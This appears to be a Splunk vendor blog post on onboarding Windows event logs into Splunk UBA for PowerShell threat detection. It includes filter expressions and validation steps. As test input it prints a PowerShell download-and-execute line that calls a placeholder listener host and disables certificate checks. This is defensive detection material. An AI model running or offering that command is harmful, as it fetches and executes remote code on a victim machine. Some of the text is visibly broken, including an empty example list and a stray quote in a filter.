PowerShell is a powerful scripting language and shell framework designed for Windows devices. It provides a flexible system shell and scripting environment for task automation and configuration management [1]. With its built-in capabilities, PowerShell enables system-level operations such as downloading files from remote locations, executing commands directly from memory, or accessing registry keys. While it has been a preferred tool for system administrators for over a decade and is expected to replace the default Windows command prompt in the future [2], it has also become one of the most exploited tools by cyber criminals. A 2024 security report ranked PowerShell as the industry's most frequently leveraged attack technique.
Several factors contribute to PowerShell’s prevalence of cyberattacks. Some examples are:
The current UBA PowerShell threat detection model is designed to identify malicious Windows activities and detect PowerShell obfuscation based on Windows logs. However, frequent Windows updates have impacted detection mechanisms, creating customer data onboarding challenges. To address this, Splunk UBA 5.4.1 introduces multiple enhancements to support the latest Windows log formats.
Note: Please visit Splunk Docs to verify that PowerShell events are being accurately collected on your Windows machines.
This blog outlines recent updates and provides a step-by-step guide on onboarding Windows logs to enhance PowerShell threat detection in UBA. This guide will also be helpful in understanding the general process of onboarding Windows logs for other detections. Additionally, we have developed an advanced PowerShell threat detection model leveraging AI and the latest NLP techniques, which will be released in UEBA and covered in our next blog.
The UBA Suspicious PowerShell Activity detection model relies on the collection of Windows event codes 4103, 4104, 4688, and 7045. Before onboarding data, ensure that your Windows logs are configured according to the latest guidelines.
The detection process involves both streaming and batch-mode data analytics, as illustrated in the updated data mapping page. The data flow follows three key steps:
(e.eventId == 4103 or
(e.eventId == 4688 and e.processName contains "powershell") or
(e.eventId == 7045"and e.servicePath.contains "powershell") or
e.eventId == 4104)
For validation, you can use a Zeppelin notebook to confirm successful data onboarding. Detailed instructions are provided in Section 3.
Figure1: Support for multiple formats in Windows log onboarding
index="win_xml_test" sourcetype="PowershellXmlEventLogs"
Figure 3: Validating data source using Test Mode.
Splunk UBA 5.4.1 introduces updated SPL (Search Processing Language) for onboarding the latest versions of Windows logs. Ensure the following prerequisites are met:
([\r\n]+)(?:\s*<Event(\s+xmlns|>))
Figure 4: specify the appropriate Regex pattern for event separation
Figure 5: example of processed PowerShell XML events ingested from Splunk
You can validate newly onboarded Windows events using Zeppelin notebooks. Installation guides and sample notebooks for UBA data/model validation are available in this blog. Below are critical steps to ensure the accurate detection of PowerShell anomalies:
Figure 7: refresh UBA Impala cubes using notebook
Figure 8: an example of validating Powershell events using notebook
(e.g.iex (New-Object Net.WebClient).DownloadString("https://ListenerIPAddress:Port/connect")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true})
Figure 9: Detection of Powershell suspicious activity in UBA
Splunk UBA 5.4.2 enhances PowerShell threat detection through improved log ingestion and anomaly detection. In our next blog, we will explore the advanced PowerShell threat detection capabilities of UEBA, which introduce machine learning-based anomaly detection for PowerShell scripts.
✅ Upgrade to UBA 5.4.2 to enhance PowerShell threat detection. ✅ Follow our guide to onboard Windows logs effectively. ✅ Stay tuned for our upcoming blog on UEBA’s new capabilities.
The world’s leading organizations rely on Splunk, a Cisco company, to continuously strengthen digital resilience with our unified security and observability platform, powered by industry-leading AI.
Our customers trust Splunk’s award-winning security and observability solutions to secure and improve the reliability of their complex digital environments, at any scale.